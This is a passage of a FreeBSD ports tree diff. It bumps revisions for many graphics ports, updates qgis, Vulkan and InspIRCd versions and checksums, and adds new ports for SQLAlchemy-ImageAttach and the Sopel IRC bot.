a/graphics/pecl-imagick-im7/Makefile b/graphics/pecl-imagick-im7/Makefile index cc80c932b5d..1fa2f32f9fe 100644 --- a/graphics/pecl-imagick-im7/Makefile +++ b/graphics/pecl-imagick-im7/Makefile @@ -1,4 +1,4 @@ -PORTREVISION= 1 +PORTREVISION= 2 PKGNAMESUFFIX= -im7 diff --git a/graphics/pecl-imagick/Makefile b/graphics/pecl-imagick/Makefile index ee7d7750c6b..886a0b02fc7 100644 --- a/graphics/pecl-imagick/Makefile +++ b/graphics/pecl-imagick/Makefile @@ -1,5 +1,6 @@ PORTNAME= imagick PORTVERSION= 3.7.0 +PORTREVISION= 1 CATEGORIES= graphics MAINTAINER= 000.fbsd@quip.cz diff --git a/graphics/pfstools/Makefile b/graphics/pfstools/Makefile index 2ef73a63c51..16c79dff8b9 100644 --- a/graphics/pfstools/Makefile +++ b/graphics/pfstools/Makefile @@ -1,6 +1,6 @@ PORTNAME= pfstools DISTVERSION= 2.1.0 -PORTREVISION= 15 +PORTREVISION= 16 CATEGORIES= graphics MASTER_SITES= SF diff --git a/graphics/pqiv/Makefile b/graphics/pqiv/Makefile index e4cbf602958..dc553a1bd62 100644 --- a/graphics/pqiv/Makefile +++ b/graphics/pqiv/Makefile @@ -1,6 +1,6 @@ PORTNAME= pqiv PORTVERSION= 2.12 -PORTREVISION= 20 +PORTREVISION= 21 CATEGORIES= graphics MAINTAINER= danilo@FreeBSD.org diff --git a/graphics/pstoedit/Makefile b/graphics/pstoedit/Makefile index 41c223deb3e..367925eb599 100644 --- a/graphics/pstoedit/Makefile +++ b/graphics/pstoedit/Makefile @@ -1,5 +1,6 @@ PORTNAME= pstoedit PORTVERSION= 3.78 +PORTREVISION= 1 CATEGORIES= graphics print MASTER_SITES= SF diff --git a/graphics/py-fotokilof/Makefile b/graphics/py-fotokilof/Makefile index c44ac3f65d8..b3e2c465a8b 100644 --- a/graphics/py-fotokilof/Makefile +++ b/graphics/py-fotokilof/Makefile @@ -1,5 +1,6 @@ PORTNAME= fotokilof PORTVERSION= 4.3.2 +PORTREVISION= 1 CATEGORIES= graphics MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/graphics/py-img2pdf/Makefile b/graphics/py-img2pdf/Makefile index fb176c38a93..50281786c68 100644 --- a/graphics/py-img2pdf/Makefile +++ b/graphics/py-img2pdf/Makefile @@ -1,6 +1,6 @@ PORTNAME= img2pdf DISTVERSION= 0.4.4 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= graphics python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} @@ -17,12 +17,11 @@ RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}pikepdf>0:textproc/py-pikepdf@${PY_FLAVOR} \ TEST_DEPENDS= ${PY_NUMPY} \ ${PYTHON_PKGNAMEPREFIX}packaging>0:devel/py-packaging@${PY_FLAVOR} \ ${PYTHON_PKGNAMEPREFIX}scipy>0:science/py-scipy@${PY_FLAVOR} \ - convert:graphics/ImageMagick6 \ exiftool:graphics/p5-Image-ExifTool \ jpegtopnm:graphics/netpbm \ pdftocairo:graphics/poppler-utils -USES= python:3.5+ shebangfix +USES= python:3.5+ shebangfix magick:6,test USE_PYTHON= autoplist concurrent distutils pytest # Some tests fail, see following link for more info: # https://gitlab.mister-muffin.de/josch/img2pdf/issues/152 diff --git a/graphics/py-sorl-thumbnail/Makefile b/graphics/py-sorl-thumbnail/Makefile index 40788d7ccfd..a25a1a85dcc 100644 --- a/graphics/py-sorl-thumbnail/Makefile +++ b/graphics/py-sorl-thumbnail/Makefile @@ -1,6 +1,6 @@ PORTNAME= sorl-thumbnail PORTVERSION= 12.8.0 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= graphics python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/graphics/py-sqlalchemy-imageattach/Makefile b/graphics/py-sqlalchemy-imageattach/Makefile new file mode 100644 index 00000000000..418e0b7c60b --- /dev/null +++ b/graphics/py-sqlalchemy-imageattach/Makefile @@ -0,0 +1,22 @@ +PORTNAME= SQLAlchemy-ImageAttach +PORTVERSION= 1.1.0 +PORTREVISION= 1 +CATEGORIES= graphics python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= SQLAlchemy extension for attaching images to entities +WWW= https://github.com/dahlia/sqlalchemy-imageattach + +LICENSE= MIT + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}sqlalchemy14>0:databases/py-sqlalchemy14@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}Wand>0:graphics/py-wand@${PY_FLAVOR} + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/graphics/py-sqlalchemy-imageattach/distinfo b/graphics/py-sqlalchemy-imageattach/distinfo new file mode 100644 index 00000000000..5ae1aee60a4 --- /dev/null +++ b/graphics/py-sqlalchemy-imageattach/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680321015 +SHA256 (SQLAlchemy-ImageAttach-1.1.0.tar.gz) = a9e3d56da889119e2105b3fee660ec259bb3b51be28173efb1ba129a52710ec4 +SIZE (SQLAlchemy-ImageAttach-1.1.0.tar.gz) = 29038 diff --git a/graphics/py-sqlalchemy-imageattach/pkg-descr b/graphics/py-sqlalchemy-imageattach/pkg-descr new file mode 100644 index 00000000000..769daeecd28 --- /dev/null +++ b/graphics/py-sqlalchemy-imageattach/pkg-descr @@ -0,0 +1,7 @@ +SQLAlchemy-ImageAttach is a SQLAlchemy extension for attaching images to entity +objects. It provides the following features: + +- Storage backend interface +- Maintaining multiple image sizes +- Every image has its URL +- SQLAlchemy transaction aware diff --git a/graphics/py-wand/Makefile b/graphics/py-wand/Makefile index be421a56419..e568ece5bce 100644 --- a/graphics/py-wand/Makefile +++ b/graphics/py-wand/Makefile @@ -1,5 +1,6 @@ PORTNAME= Wand PORTVERSION= 0.6.11 +PORTREVISION= 1 CATEGORIES= graphics python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/graphics/pywal/Makefile b/graphics/pywal/Makefile index bda172086a0..45718107aef 100644 --- a/graphics/pywal/Makefile +++ b/graphics/pywal/Makefile @@ -1,5 +1,6 @@ PORTNAME= pywal DISTVERSION= 3.3.0 +PORTREVISION= 1 CATEGORIES= graphics MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/graphics/qgis-ltr/Makefile b/graphics/qgis-ltr/Makefile index d9b40ca8653..10162151599 100644 --- a/graphics/qgis-ltr/Makefile +++ b/graphics/qgis-ltr/Makefile @@ -1,6 +1,5 @@ PORTNAME= qgis -DISTVERSION= 3.28.5 -PORTREVISION= 2 +DISTVERSION= 3.28.6 CATEGORIES= graphics geography MASTER_SITES= https://qgis.org/downloads/ PKGNAMESUFFIX= -ltr diff --git a/graphics/qgis-ltr/distinfo b/graphics/qgis-ltr/distinfo index 15e285fc599..f79b3fbf1e6 100644 --- a/graphics/qgis-ltr/distinfo +++ b/graphics/qgis-ltr/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680290201 -SHA256 (qgis-3.28.5.tar.bz2) = 9570dc580808ea61ba6fc4aac4f5078769bce228e66c54dba786130569e6aef1 -SIZE (qgis-3.28.5.tar.bz2) = 158821819 +TIMESTAMP = 1682860919 +SHA256 (qgis-3.28.6.tar.bz2) = 2dfacce09f59e6c8cac621dee94bba4c20aa303ca1a204ee70bbddd7c2a301e0 +SIZE (qgis-3.28.6.tar.bz2) = 158638644 diff --git a/graphics/qgis-ltr/pkg-plist b/graphics/qgis-ltr/pkg-plist index 94ddc3aa0a4..9a30f089d52 100644 --- a/graphics/qgis-ltr/pkg-plist +++ b/graphics/qgis-ltr/pkg-plist @@ -3105,6 +3105,7 @@ share/metainfo/org.qgis.qgis.appdata.xml %%DATADIR%%/i18n/qgis_ro.qm %%DATADIR%%/i18n/qgis_ru.qm %%DATADIR%%/i18n/qgis_sc.qm +%%DATADIR%%/i18n/qgis_sk.qm %%DATADIR%%/i18n/qgis_sv.qm %%DATADIR%%/i18n/qgis_tr.qm %%DATADIR%%/i18n/qgis_uk.qm diff --git a/graphics/qgis/Makefile b/graphics/qgis/Makefile index f95545cd276..e213c7ac620 100644 --- a/graphics/qgis/Makefile +++ b/graphics/qgis/Makefile @@ -1,6 +1,5 @@ PORTNAME= qgis -DISTVERSION= 3.30.1 -PORTREVISION= 2 +DISTVERSION= 3.30.2 CATEGORIES= graphics geography MASTER_SITES= https://qgis.org/downloads/ diff --git a/graphics/qgis/distinfo b/graphics/qgis/distinfo index 7551bd1eacc..f36d74bb3a0 100644 --- a/graphics/qgis/distinfo +++ b/graphics/qgis/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680283694 -SHA256 (qgis-3.30.1.tar.bz2) = baac5f55ca3d34dd5b1bfa0535cecfecc74ecbc837cbeb70b95cdb91b1c7af55 -SIZE (qgis-3.30.1.tar.bz2) = 157813751 +TIMESTAMP = 1682787039 +SHA256 (qgis-3.30.2.tar.bz2) = 996e50561ba2c9234b99f19df512b98549203723da8b3856dd7eb091a60e4272 +SIZE (qgis-3.30.2.tar.bz2) = 158617634 diff --git a/graphics/qgis/pkg-plist b/graphics/qgis/pkg-plist index 2633354a5f3..cc924eee08c 100644 --- a/graphics/qgis/pkg-plist +++ b/graphics/qgis/pkg-plist @@ -3552,6 +3552,7 @@ share/metainfo/org.qgis.qgis.appdata.xml %%DATADIR%%/i18n/qgis_ro.qm %%DATADIR%%/i18n/qgis_ru.qm %%DATADIR%%/i18n/qgis_sc.qm +%%DATADIR%%/i18n/qgis_sk.qm %%DATADIR%%/i18n/qgis_sv.qm %%DATADIR%%/i18n/qgis_tr.qm %%DATADIR%%/i18n/qgis_uk.qm diff --git a/graphics/raster3d/Makefile b/graphics/raster3d/Makefile index ccf17a7be34..556cf3e19cc 100644 --- a/graphics/raster3d/Makefile +++ b/graphics/raster3d/Makefile @@ -1,6 +1,6 @@ PORTNAME= raster3d DISTVERSION= 3.0.7 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= graphics biology MASTER_SITES= http://skuld.bmsc.washington.edu/${PORTNAME}/ DISTNAME= Raster3D_${DISTVERSION:R}-${DISTVERSION:E} diff --git a/graphics/reallyslick/Makefile b/graphics/reallyslick/Makefile index 586e75e4928..e6d0e8f06a7 100644 --- a/graphics/reallyslick/Makefile +++ b/graphics/reallyslick/Makefile @@ -1,6 +1,6 @@ PORTNAME= reallyslick PORTVERSION= 0.9.1 -PORTREVISION= 23 +PORTREVISION= 24 CATEGORIES= graphics MASTER_SITES= SF/rss-glx/rss-glx/${PORTVERSION} DISTNAME= rss-glx_${PORTVERSION} diff --git a/graphics/recoverjpeg/Makefile b/graphics/recoverjpeg/Makefile index 71233ab4c5f..190d9caf78f 100644 --- a/graphics/recoverjpeg/Makefile +++ b/graphics/recoverjpeg/Makefile @@ -1,6 +1,6 @@ PORTNAME= recoverjpeg PORTVERSION= 2.6.3 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= graphics MASTER_SITES= https://rfc1149.net/download/${PORTNAME}/ \ LOCAL/ehaupt diff --git a/graphics/renrot/Makefile b/graphics/renrot/Makefile index 2e559da4c93..e4118427551 100644 --- a/graphics/renrot/Makefile +++ b/graphics/renrot/Makefile @@ -1,6 +1,6 @@ PORTNAME= renrot PORTVERSION= 1.2.0 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= graphics perl5 MASTER_SITES= ftp://download.gnu.org.ua/pub/release/${PORTNAME}/ diff --git a/graphics/rubygem-mini_magick/Makefile b/graphics/rubygem-mini_magick/Makefile index 3935e87eeaf..8f5d56379f6 100644 --- a/graphics/rubygem-mini_magick/Makefile +++ b/graphics/rubygem-mini_magick/Makefile @@ -1,5 +1,6 @@ PORTNAME= mini_magick PORTVERSION= 4.12.0 +PORTREVISION= 1 CATEGORIES= graphics rubygems MASTER_SITES= RG diff --git a/graphics/rubygem-mini_magick410/Makefile b/graphics/rubygem-mini_magick410/Makefile index a828c855e89..bc883fa7909 100644 --- a/graphics/rubygem-mini_magick410/Makefile +++ b/graphics/rubygem-mini_magick410/Makefile @@ -1,5 +1,6 @@ PORTNAME= mini_magick PORTVERSION= 4.10.1 +PORTREVISION= 1 CATEGORIES= graphics rubygems MASTER_SITES= RG PKGNAMESUFFIX= 410 diff --git a/graphics/rubygem-rmagick/Makefile b/graphics/rubygem-rmagick/Makefile index 509de431ebd..c461292f3e7 100644 --- a/graphics/rubygem-rmagick/Makefile +++ b/graphics/rubygem-rmagick/Makefile @@ -1,5 +1,6 @@ PORTNAME= rmagick PORTVERSION= 5.2.0 +PORTREVISION= 1 CATEGORIES= graphics rubygems MASTER_SITES= RG diff --git a/graphics/s2tc/Makefile b/graphics/s2tc/Makefile index 933ae0909af..6733503b574 100644 --- a/graphics/s2tc/Makefile +++ b/graphics/s2tc/Makefile @@ -1,6 +1,6 @@ PORTNAME= s2tc PORTVERSION= 1.0+20151228 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= graphics MAINTAINER= ports@FreeBSD.org diff --git a/graphics/synfig/Makefile b/graphics/synfig/Makefile index 5a5e022b6fd..2497d707691 100644 --- a/graphics/synfig/Makefile +++ b/graphics/synfig/Makefile @@ -1,7 +1,7 @@ PORTNAME= synfig DISTVERSIONPREFIX= v DISTVERSION= 1.4.4 -PORTREVISION= 5 +PORTREVISION= 6 CATEGORIES= graphics devel multimedia MAINTAINER= portmaster@BSDforge.com diff --git a/graphics/synfigstudio/Makefile b/graphics/synfigstudio/Makefile index 99d1c956a9f..a3dade02a5f 100644 --- a/graphics/synfigstudio/Makefile +++ b/graphics/synfigstudio/Makefile @@ -1,7 +1,7 @@ PORTNAME= synfigstudio DISTVERSIONPREFIX= v DISTVERSION= 1.4.4 -PORTREVISION= 6 +PORTREVISION= 7 CATEGORIES= graphics multimedia MAINTAINER= portmaster@BSDforge.com diff --git a/graphics/ttygif/Makefile b/graphics/ttygif/Makefile index 84436884607..39d9b5651c3 100644 --- a/graphics/ttygif/Makefile +++ b/graphics/ttygif/Makefile @@ -1,6 +1,6 @@ PORTNAME= ttygif PORTVERSION= 1.4.0 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= graphics MAINTAINER= olivier@FreeBSD.org diff --git a/graphics/variety/Makefile b/graphics/variety/Makefile index 93e27584b10..87a5613053a 100644 --- a/graphics/variety/Makefile +++ b/graphics/variety/Makefile @@ -1,6 +1,6 @@ PORTNAME= variety PORTVERSION= 0.8.5 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= graphics MAINTAINER= nivit@FreeBSD.org diff --git a/graphics/vips/Makefile b/graphics/vips/Makefile index 59d43d60ec4..339f09d8f6d 100644 --- a/graphics/vips/Makefile +++ b/graphics/vips/Makefile @@ -1,6 +1,6 @@ PORTNAME= vips PORTVERSION= 8.14.2 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= graphics MASTER_SITES= https://github.com/libvips/libvips/releases/download/v${PORTVERSION}/ diff --git a/graphics/vulkan-headers/Makefile b/graphics/vulkan-headers/Makefile index 35bc76e9e46..02178aaa33b 100644 --- a/graphics/vulkan-headers/Makefile +++ b/graphics/vulkan-headers/Makefile @@ -1,6 +1,6 @@ PORTNAME= vulkan-headers DISTVERSIONPREFIX= v -DISTVERSION= 1.3.248 +DISTVERSION= 1.3.249 CATEGORIES= graphics MAINTAINER= jbeich@FreeBSD.org diff --git a/graphics/vulkan-headers/distinfo b/graphics/vulkan-headers/distinfo index 82f6d24e829..7674899d426 100644 --- a/graphics/vulkan-headers/distinfo +++ b/graphics/vulkan-headers/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682035200 -SHA256 (KhronosGroup-Vulkan-Headers-v1.3.248_GH0.tar.gz) = 8db01a812b244e8e1073dce3d0d5ba94fc4ebb71c6c5e6640f94644aec79e510 -SIZE (KhronosGroup-Vulkan-Headers-v1.3.248_GH0.tar.gz) = 1957023 +TIMESTAMP = 1682591851 +SHA256 (KhronosGroup-Vulkan-Headers-v1.3.249_GH0.tar.gz) = 3d957cc9d07c22b35226c931ac9253321d3b56a769794081a970ccce6b1bbed7 +SIZE (KhronosGroup-Vulkan-Headers-v1.3.249_GH0.tar.gz) = 1959649 diff --git a/graphics/vulkan-loader/Makefile b/graphics/vulkan-loader/Makefile index a5c4c67c6aa..511958f70ef 100644 --- a/graphics/vulkan-loader/Makefile +++ b/graphics/vulkan-loader/Makefile @@ -1,6 +1,6 @@ PORTNAME= vulkan-loader DISTVERSIONPREFIX= v -DISTVERSION= 1.3.248 +DISTVERSION= 1.3.249 CATEGORIES= graphics devel MAINTAINER= jbeich@FreeBSD.org diff --git a/graphics/vulkan-loader/distinfo b/graphics/vulkan-loader/distinfo index 3857596971e..f5e8f652b14 100644 --- a/graphics/vulkan-loader/distinfo +++ b/graphics/vulkan-loader/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682094979 -SHA256 (KhronosGroup-Vulkan-Loader-v1.3.248_GH0.tar.gz) = 5a5e51c568ea4344fa93c562eca730359a9562c4656dad53d2cc3f4807ec2307 -SIZE (KhronosGroup-Vulkan-Loader-v1.3.248_GH0.tar.gz) = 1663398 +TIMESTAMP = 1682616266 +SHA256 (KhronosGroup-Vulkan-Loader-v1.3.249_GH0.tar.gz) = dad9cda73559b277e9b188f5222bedcbf39b35a201d23a2c35dba25953511311 +SIZE (KhronosGroup-Vulkan-Loader-v1.3.249_GH0.tar.gz) = 1663911 diff --git a/graphics/vulkan-loader/pkg-plist b/graphics/vulkan-loader/pkg-plist index f79b7ba680e..7fb8911e0a8 100644 --- a/graphics/vulkan-loader/pkg-plist +++ b/graphics/vulkan-loader/pkg-plist @@ -1,4 +1,4 @@ lib/libvulkan.so lib/libvulkan.so.1 -lib/libvulkan.so.1.3.248 +lib/libvulkan.so.1.3.249 libdata/pkgconfig/vulkan.pc diff --git a/graphics/vulkan-tools/Makefile b/graphics/vulkan-tools/Makefile index 66314f4a86c..29170beee99 100644 --- a/graphics/vulkan-tools/Makefile +++ b/graphics/vulkan-tools/Makefile @@ -1,6 +1,6 @@ PORTNAME= vulkan-tools DISTVERSIONPREFIX= v -DISTVERSION= 1.3.248 +DISTVERSION= 1.3.249 CATEGORIES= graphics MAINTAINER= jbeich@FreeBSD.org diff --git a/graphics/vulkan-tools/distinfo b/graphics/vulkan-tools/distinfo index a41eb27a63e..c5c354d4bbb 100644 --- a/graphics/vulkan-tools/distinfo +++ b/graphics/vulkan-tools/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682114120 -SHA256 (KhronosGroup-Vulkan-Tools-v1.3.248_GH0.tar.gz) = 9f06f13e588034e323df9222532b76518ace8bf5e4eb4ca9fbc6960addf03a93 -SIZE (KhronosGroup-Vulkan-Tools-v1.3.248_GH0.tar.gz) = 783655 +TIMESTAMP = 1682620585 +SHA256 (KhronosGroup-Vulkan-Tools-v1.3.249_GH0.tar.gz) = 08aad8545bbee2019ef8a836f66aabb94c6492ead0cbf7e931461266b1bb7030 +SIZE (KhronosGroup-Vulkan-Tools-v1.3.249_GH0.tar.gz) = 783874 diff --git a/graphics/vulkan-validation-layers/Makefile b/graphics/vulkan-validation-layers/Makefile index b97aa1c724e..82e06e1c0a2 100644 --- a/graphics/vulkan-validation-layers/Makefile +++ b/graphics/vulkan-validation-layers/Makefile @@ -1,6 +1,6 @@ PORTNAME= vulkan-validation-layers DISTVERSIONPREFIX= v -DISTVERSION= 1.3.248 +DISTVERSION= 1.3.249 CATEGORIES= graphics MAINTAINER= jbeich@FreeBSD.org @@ -18,7 +18,7 @@ USE_GITHUB= yes USE_LDCONFIG= yes GH_ACCOUNT= KhronosGroup GH_PROJECT= Vulkan-ValidationLayers -GH_TUPLE= KhronosGroup:SPIRV-Headers:1.5.4.raytracing.fixed-245-g1feaf44:headers/external/spirv-headers +GH_TUPLE= KhronosGroup:SPIRV-Headers:1.5.4.raytracing.fixed-265-g7f1d2f4:headers/external/spirv-headers CMAKE_OFF= BUILD_TESTS CMAKE_ON= BUILD_LAYER_SUPPORT_FILES CMAKE_ARGS= -DSPIRV_HEADERS_INSTALL_DIR:PATH="${WRKSRC_headers}" diff --git a/graphics/vulkan-validation-layers/distinfo b/graphics/vulkan-validation-layers/distinfo index 7a388261877..262c484c4c9 100644 --- a/graphics/vulkan-validation-layers/distinfo +++ b/graphics/vulkan-validation-layers/distinfo @@ -1,5 +1,5 @@ -TIMESTAMP = 1682353949 -SHA256 (KhronosGroup-Vulkan-ValidationLayers-v1.3.248_GH0.tar.gz) = 2b4d62fe0a4392b1a322e3d2c8a3541ee19074363c7464aef029890143ecf521 -SIZE (KhronosGroup-Vulkan-ValidationLayers-v1.3.248_GH0.tar.gz) = 4785826 -SHA256 (KhronosGroup-SPIRV-Headers-1.5.4.raytracing.fixed-245-g1feaf44_GH0.tar.gz) = bf505456fb2fdd30af51dfe292a6688cf6a54f6a8a2e3a9479cf6895c93b362b -SIZE (KhronosGroup-SPIRV-Headers-1.5.4.raytracing.fixed-245-g1feaf44_GH0.tar.gz) = 450276 +TIMESTAMP = 1682721288 +SHA256 (KhronosGroup-Vulkan-ValidationLayers-v1.3.249_GH0.tar.gz) = 631582fb19be0344a884758338e6e17cef8596e709c86bcd6a3ab5cd845af58b +SIZE (KhronosGroup-Vulkan-ValidationLayers-v1.3.249_GH0.tar.gz) = 4796939 +SHA256 (KhronosGroup-SPIRV-Headers-1.5.4.raytracing.fixed-265-g7f1d2f4_GH0.tar.gz) = 7a8a893935d85a3e37dc747292281a71d458d46402aa8ea1d0528abc053bcdd6 +SIZE (KhronosGroup-SPIRV-Headers-1.5.4.raytracing.fixed-265-g7f1d2f4_GH0.tar.gz) = 452739 diff --git a/graphics/vulkan-validation-layers/pkg-plist b/graphics/vulkan-validation-layers/pkg-plist index 686901f79fa..507951fba20 100644 --- a/graphics/vulkan-validation-layers/pkg-plist +++ b/graphics/vulkan-validation-layers/pkg-plist @@ -10,8 +10,12 @@ include/vulkan/generated/vk_format_utils.cpp include/vulkan/generated/vk_format_utils.h include/vulkan/generated/vk_layer_dispatch_table.h include/vulkan/generated/vk_object_types.h -include/vulkan/generated/vk_safe_struct.cpp include/vulkan/generated/vk_safe_struct.h +include/vulkan/generated/vk_safe_struct_core.cpp +include/vulkan/generated/vk_safe_struct_ext.cpp +include/vulkan/generated/vk_safe_struct_khr.cpp +include/vulkan/generated/vk_safe_struct_utils.cpp +include/vulkan/generated/vk_safe_struct_vendor.cpp include/vulkan/generated/vk_typemap_helper.h include/vulkan/generated/vk_validation_error_messages.h include/vulkan/utils/cast_utils.h diff --git a/graphics/xd3d/Makefile b/graphics/xd3d/Makefile index aec5b5b0775..5e17d6129a0 100644 --- a/graphics/xd3d/Makefile +++ b/graphics/xd3d/Makefile @@ -1,6 +1,6 @@ PORTNAME= xd3d PORTVERSION= 8.3.1 -PORTREVISION= 20 +PORTREVISION= 21 CATEGORIES= graphics math MASTER_SITES= http://www.cmap.polytechnique.fr/~jouve/xd3d/ diff --git a/graphics/zbar/Makefile b/graphics/zbar/Makefile index 3b2357dccf6..a5b460dd0bb 100644 --- a/graphics/zbar/Makefile +++ b/graphics/zbar/Makefile @@ -1,7 +1,7 @@ PORTNAME= zbar DISTVERSION= 0.23.90 CATEGORIES= graphics -PORTREVISION= 1 +PORTREVISION= 2 MASTER_SITES= https://linuxtv.org/downloads/zbar/ MAINTAINER= dev2@heesakkers.info diff --git a/irc/Makefile b/irc/Makefile index 96863d22a48..cb72ea758c8 100644 --- a/irc/Makefile +++ b/irc/Makefile @@ -84,6 +84,7 @@ SUBDIR += pounce SUBDIR += py-irc SUBDIR += py-limnoria + SUBDIR += py-sopel SUBDIR += quassel SUBDIR += quassel-core SUBDIR += quirc diff --git a/irc/inspircd/Makefile b/irc/inspircd/Makefile index 8530ea78452..0f3c837ef03 100644 --- a/irc/inspircd/Makefile +++ b/irc/inspircd/Makefile @@ -1,6 +1,6 @@ PORTNAME= inspircd DISTVERSIONPREFIX= v -DISTVERSION= 3.15.0 +DISTVERSION= 3.16.0 CATEGORIES= irc MAINTAINER= driesm@FreeBSD.org diff --git a/irc/inspircd/distinfo b/irc/inspircd/distinfo index 9ff8f755fc5..c84a738a93f 100644 --- a/irc/inspircd/distinfo +++ b/irc/inspircd/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1672408354 -SHA256 (inspircd-inspircd-v3.15.0_GH0.tar.gz) = c3d201dd3577917bc94257ed8aa373c24bc03c456e55886497eb87e8520f2d4d -SIZE (inspircd-inspircd-v3.15.0_GH0.tar.gz) = 874629 +TIMESTAMP = 1682681116 +SHA256 (inspircd-inspircd-v3.16.0_GH0.tar.gz) = 8d9e657e70f1252d9625d3d31623a56abbb3121cebf6be2f4f5791162919c657 +SIZE (inspircd-inspircd-v3.16.0_GH0.tar.gz) = 877665 diff --git a/irc/py-sopel/Makefile b/irc/py-sopel/Makefile new file mode 100644 index 00000000000..a083e5d21d1 --- /dev/null +++ b/irc/py-sopel/Makefile @@ -0,0 +1,50 @@ +PORTNAME= sopel +DISTVERSION= 7.1.9 +CATEGORIES= irc python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= DtxdF@disroot.org +COMMENT= Easy-to-use and highly extensible IRC Bot framework +WWW= https://sopel.chat/ + +LICENSE= EFLv2 +LICENSE_GROUPS= FSF GPL OSI +LICENSE_NAME= Eiffel Forum License, version 2 +LICENSE_FILE= ${WRKSRC}/COPYING +LICENSE_PERMS= dist-mirror dist-sell pkg-mirror pkg-sell auto-accept + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}dnspython>0:dns/py-dnspython@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}GeoIP2>0:net/py-GeoIP2@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}importlib-metadata>0:devel/py-importlib-metadata@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}packaging>0:devel/py-packaging@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}praw>0:www/py-praw@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}pytz>0:devel/py-pytz@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}requests>0:www/py-requests@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}sqlalchemy13>0:databases/py-sqlalchemy13@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}sqlite3>0:databases/py-sqlite3@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}urllib3>0:net/py-urllib3@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}xmltodict>=0.12:devel/py-xmltodict@${PY_FLAVOR} + +USES= python:3.8+ +USE_PYTHON= autoplist distutils + +USE_RC_SUBR= sopel +SUB_FILES+= pkg-message +SUB_LIST+= PYTHON_CMD=${PYTHON_CMD} + +USERS= sopel +GROUPS= sopel + +PLIST_SUB= GROUP="${GROUPS:[0]}" \ + USER="${USERS:[0]}" + +post-install: + @${MKDIR} ${STAGEDIR}/${ETCDIR} + @${CP} ${FILESDIR}/sopel-default.cfg ${STAGEDIR}/${ETCDIR}/sopel-default.cfg.sample +.for dir in run log db + @${MKDIR} ${STAGEDIR}/var/${dir}/sopel +.endfor + @${MKDIR} ${STAGEDIR}/var/db/sopel/www + +.include diff --git a/irc/py-sopel/distinfo b/irc/py-sopel/distinfo new file mode 100644 index 00000000000..384a7f61a75 --- /dev/null +++ b/irc/py-sopel/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1660249423 +SHA256 (sopel-7.1.9.tar.gz) = 209fa8bcb42febf514d687a9994423cda5811b745d777c6fba2ec58caf3952bb +SIZE (sopel-7.1.9.tar.gz) = 263438 diff --git a/irc/py-sopel/files/patch-requirements.txt b/irc/py-sopel/files/patch-requirements.txt new file mode 100644 index 00000000000..b04c6382526 --- /dev/null +++ b/irc/py-sopel/files/patch-requirements.txt @@ -0,0 +1,37 @@ +--- requirements.txt.orig 2023-02-26 10:45:58 UTC ++++ requirements.txt +@@ -1,27 +1,8 @@ +-xmltodict<0.12.0; python_version == '3.3' +-xmltodict==0.12; python_version != '3.3' ++xmltodict + pytz +-praw>=4.0.0,<6.0.0 +-# transitive dependency of praw; v0.18 introduced f-string syntax +-update-checker<0.18; python_version < '3.6' +-geoip2<3.0; python_version <= '3.5' and python_version != '2.7' +-geoip2>=3.0,<4.0; python_version == '2.7' +-geoip2>=4.0,<5.0; python_version >= '3.6' +-# transitive dependency of geoip2; v2 dropped py2.7 & py3 < 3.6 +-maxminddb<2.0; python_version < '3.6' +-ipaddress<2.0; python_version < '3.3' +-requests>=2.24.0,<3.0.0; python_version != '3.3' and python_version != '3.4' +-# py3.3 doesn't work with the chardet/charset-normalizer detection added in 2.26 +-requests>=2.24.0,<2.26; python_version == '3.3' +-# py3.4 isn't supported after requests 2.21 +-requests==2.21.0; python_version == '3.4' +-# transitive dependency of requests +-# 2.0 will drop EOL Python 2.7 & 3.5, just like Sopel 8 plans to +-urllib3<1.27; python_version != '3.3' and python_version != '3.4' +-urllib3<1.23; python_version == '3.3' +-urllib3<1.25; python_version == '3.4' +-dnspython<2.0; python_version == '2.7' +-dnspython<1.16.0; python_version == '3.3' +-dnspython<3.0; python_version >= '3.4' +-sqlalchemy<1.3; python_version == '3.3' 